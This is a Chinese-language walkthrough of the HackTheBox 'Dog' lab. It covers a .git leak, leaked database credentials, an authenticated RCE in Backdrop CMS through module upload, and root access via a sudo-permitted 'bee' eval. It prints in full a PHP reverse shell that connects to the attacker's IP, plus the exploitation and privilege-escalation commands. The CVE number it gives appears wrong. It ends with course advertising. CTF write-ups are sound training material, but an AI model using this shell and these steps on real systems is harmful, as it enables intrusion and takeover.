【HTB】dog靶机渗透

admin 2025年4月1日23:58:38评论23 views字数 6221阅读20分44秒阅读模式

该靶机需要利用.git泄露,信息收集到邮箱;服务版本;mysql密码,利用backdrop历史漏洞,修改插入反弹shell,找到利用点,然后执行,访问解析路径,提权依旧需要信息收集,利用mysql密码切换用户拿到第一个flag,然后sudo -l发现漏洞点,利用/usr/local/bin/bee提权,找到关键部分,利用eval执行命令生成bash,得到的root账户无回显,exit时才能看见输出结果,猜测flag2位置,于/root

靶机介绍

【HTB】dog靶机渗透

往期推荐:

【HTB】Alert靶机渗透

burp插件-文件上传一把梭-Upload_Auto_Fuzz

DecryptTools-一款集成多数据库的综合加解密工具

一、信息收集

  • 靶机ip:10.10.11.58
  • 攻击机ip:10.10.16.19

nmap扫描

nmap -A -v -T4 10.10.11.58

发现一处robots.txtgit泄露    10.10.11.58:80/.git/

【HTB】dog靶机渗透

设置域名解析

echo"10.10.11.58 dog.htb" |sudo tee -a /etc/hosts
【HTB】dog靶机渗透
image-20250328155828979

目录扫描

【HTB】dog靶机渗透
image-20250328153135923

访问主页面,这里可以看见存在用户名,先留着

【HTB】dog靶机渗透
image-20250328152222613

查看git目录

【HTB】dog靶机渗透

查看robots.txt

【HTB】dog靶机渗透

git泄露

这里使用git-dump工具,该工具需要python3.6++环境,这里我使用的是3.9虚拟环境

pip install git-dumper
git-dumper http://10.10.11.58/.git/ ./output  #拉取库

查看文件,发现一处settings.php

【HTB】dog靶机渗透

查看该文件,发现以下信息,一处数据库连接信息

【HTB】dog靶机渗透

hash盐值

【HTB】dog靶机渗透

在邮件处发现服务版本号 backdrop 1.27.1

【HTB】dog靶机渗透

搜索用户邮箱信息

【HTB】dog靶机渗透
image-20250328152748231

信息如下

$database = 'mysql://root:[email protected]/backdrop';  #数据库密码:BackDropJ2024DS2024 数据库名:backdrop
$settings['hash_salt'] = 'aWFvPQNGZSz1DQ701dD4lC5v1hQW34NefHvyZUzlThQ';
系统版本:backdrop 1.27.1
email:"[email protected]""[email protected]"

登录

【HTB】dog靶机渗透

二、边界突破

登录之后没有发现什么泄露信息,查看历史漏洞

【HTB】dog靶机渗透

下载下来,是一个RCE漏洞

【HTB】dog靶机渗透
image-20250328153318352

查看文件,得到了使用方法

【HTB】dog靶机渗透

执行该脚本,生成两个文件,shell.info和shell.php

【HTB】dog靶机渗透
image-20250328153618334

查看一下

【HTB】dog靶机渗透
image-20250328154140862

修改shell.php,准备反弹shell

<?php
// php-reverse-shell - PHP 中的反向 Shell 实现
// 版权所有 (C) 2007 [email protected]
//
// 本工具仅可用于合法目的。用户对使用本工具所执行的任何操作承担全部责任。
// 作者对因使用本工具而造成的损害不承担任何责任。
// 如果您不接受这些条款,请不要使用本工具。
//
// 在其他方面,适用 GPL 版本 2:
//
// 本程序是自由软件;您可以根据自由软件基金会发布的 GNU 通用公共许可证第 2 版的条款重新分发和/或修改它。
//
// 本程序的分发是希望它能有用,
// 但不提供任何担保;甚至不包括对适销性或特定用途的隐含担保。有关更多详细信息,请参阅 GNU 通用公共许可证。
//
// 您应该已经收到了 GNU 通用公共许可证的副本;如果没有,请写信给自由软件基金会,地址是:
// 美国马萨诸塞州波士顿市富兰克林街 51 号,五楼,邮政编码 02110-1301。
//
// 本工具仅可用于合法目的。用户对使用本工具所执行的任何操作承担全部责任。
// 如果您不接受这些条款,请不要使用本工具。
//
// 鼓励您通过电子邮件发送评论、改进或建议给我:[email protected]
//
// 描述
// -----------
// 此脚本将建立一个到硬编码 IP 和端口的出站 TCP 连接。
// 接收方将获得一个以当前用户(通常是 apache)身份运行的 shell。
//
// 限制
// -----------
// proc_open 和 stream_set_blocking 需要 PHP 版本 4.3+ 或 5+
// 在 Windows 下,使用 stream_select() 处理 proc_open() 返回的文件描述符将失败并返回 FALSE。
// 需要一些编译时选项来实现守护进程(如 pcntl、posix)。这些选项通常不太可用。
//
// 用法
// -----
// 如果您遇到困难,请参阅 http://pentestmonkey.net/tools/php-reverse-shell。

set_time_limit (0);
$VERSION = "1.0";
$ip = "10.10.16.19";  // 更改此项 <攻击者的 IP>
$port = 1234;       // 更改此项  监听端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// 如果可能的话,将自己守护化以避免后续的僵尸进程
//

// pcntl_fork 函数几乎总是不可用,但可以让我们守护化
// 我们的 PHP 进程并避免僵尸进程。值得一试...
if (function_exists('pcntl_fork')) {
// Fork 并让父进程退出
 $pid = pcntl_fork();

if ($pid == -1) {
  printit("错误:无法 fork");
exit(1);
 }

if ($pid) {
exit(0);  // 父进程退出
 }

// 使当前进程成为会话首领
// 仅在我们成功 fork 时才会成功
if (posix_setsid() == -1) {
  printit("错误:无法 setsid()");
exit(1);
 }

 $daemon = 1;
else {
 printit("警告:守护化失败。这是很常见的,并且不是致命的。");
}

// 切换到安全目录
chdir("/");

// 移除我们继承的任何 umask
umask(0);

//
// 执行反向 Shell...
//

// 打开反向连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
exit(1);
}

// 生成 shell 进程
$descriptorspec = array(
0 => array("pipe""r"),  // stdin 是一个子进程将读取的管道
1 => array("pipe""w"),  // stdout 是一个子进程将写入的管道
2 => array("pipe""w")   // stderr 是一个子进程将写入的管道
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
 printit("错误:无法生成 shell");
exit(1);
}

// 将所有内容设置为非阻塞
// 原因:偶尔读取会阻塞,即使 stream_select 告诉我们它们不会
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("成功打开反向 shell 到 $ip:$port");

while (1) {
// 检查 TCP 连接是否结束
if (feof($sock)) {
  printit("错误:Shell 连接已终止");
break;
 }

// 检查 STDOUT 是否结束
if (feof($pipes[1])) {
  printit("错误:Shell 进程已终止");
break;
 }

// 等待直到通过 $sock 发送命令,或者 STDOUT 或 STDERR 上有一些命令输出可用
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// 如果我们可以从 TCP 套接字读取,则将
// 数据发送到进程的 STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK 读取");
  $input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }

// 如果我们可以从进程的 STDOUT 读取
// 将数据发送到 tcp 连接
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT 读取");
  $input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }

// 如果我们可以从进程的 STDERR 读取
// 将数据发送到 tcp 连接
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR 读取");
  $input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// 类似于 print,但如果我们已经守护化则不执行任何操作
// (我无法弄清楚如何像一个真正的守护进程那样重定向 STDOUT)
functionprintit($string){
if (!$daemon) {
print"$stringn";
 }
}
?>

找到该页面,发现只允许上传tar,gz,bz2文件

【HTB】dog靶机渗透
image-20250328154718615

压缩为gz文件

【HTB】dog靶机渗透
image-20250328154817451

靶机开启监听

【HTB】dog靶机渗透
image-20250328155603387

重新查看exp,发现上传路径

【HTB】dog靶机渗透
image-20250328155032008

上传后访问路径http://dog.htb//modules/shell/shell.php,成功反弹

【HTB】dog靶机渗透
image-20250328160034358

三、权限提升

flag1

先信息收集一些

【HTB】dog靶机渗透
image-20250328160215755

发现没有python

【HTB】dog靶机渗透
image-20250328160304817

在home目录下发现user.txt

【HTB】dog靶机渗透
image-20250328160547305

没有权限查看

【HTB】dog靶机渗透
image-20250328160704980

果然是root下的

【HTB】dog靶机渗透
image-20250328160737587

想到之前的数据库密码,尝试登录

【HTB】dog靶机渗透
image-20250328171637161

拿到第一个flag

【HTB】dog靶机渗透
image-20250328171717901

flag2

查看网络监听和suid

【HTB】dog靶机渗透
image-20250328172020209

sudo -l查看

【HTB】dog靶机渗透
image-20250328172110242

得到了使用方法

【HTB】dog靶机渗透
image-20250328172414966

翻译过来看看,先找到backdrop根目录

# bee [global-options] <command> [options] [arguments]
全局选项:
--root
指定要使用的Backdrop安装的根目录。如果未设置,将尝试根据当前目录自动查找Backdrop安装。
--site
指定要使用的Backdrop站点的目录名或URL(如“sites.php”中所定义)。如果未设置,将尝试根据当前目录自动查找回退站点。
--base-url
指定回退站点的基本URL,例如https://example.com.对于向网站上的页面输出URL的命令可能很有用。
--yes,-y
在没有提示的情况下回答“是”。
--debug,-d
启用“调试”模式,在该模式下,将显示“调试”和“日志”类型的消息(以及所有其他消息)。

在向下翻阅发现此处:在引导Backdrop后评估(运行/执行)任意PHP代码。

【HTB】dog靶机渗透
image-20250328172717875

先查看网站源码目录

【HTB】dog靶机渗透
image-20250328172920929

构造语句

sudo /usr/local/bin/bee --root=/var/www/html eval"echo shell_exec('/bin/sh');"

提权成功

【HTB】dog靶机渗透
image-20250328173321075

在root根目录下发现flag2

【HTB】dog靶机渗透
image-20250328173929885

完成目标

【HTB】dog靶机渗透
image-20250328174010951

四、总结

参考文章:https://samarthdad.com/posts/hackthebox-dog/
参考文章:https://www.cnblogs.com/QiSamaQwQ/p/18792481

知识点

  • 需要提前在kali设置好域名解析,否则反弹shell不成功
  • CVE-2020-0651 :Backdrop CMS 1.27.1——经过身份验证的远程命令执行 (RCE)
  • /usr/local/bin/bee  提权
  • 无回显shell,exit时才有回显,猜测root.txt目录

end

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

【HTB】dog靶机渗透

资料:

【HTB】dog靶机渗透

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,网恋避险工具,红盟工具等,还有很多src挖掘资料包

【HTB】dog靶机渗透
【HTB】dog靶机渗透
【HTB】dog靶机渗透

学习交流群

公众号后台这里选择学习交流即可,如果图片二维码过期,可以加我微信获取

【HTB】dog靶机渗透

原文始发于微信公众号(泷羽Sec-track):【HTB】dog靶机渗透

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月1日23:58:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HTB】dog靶机渗透https://cn-sec.com/archives/3895329.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息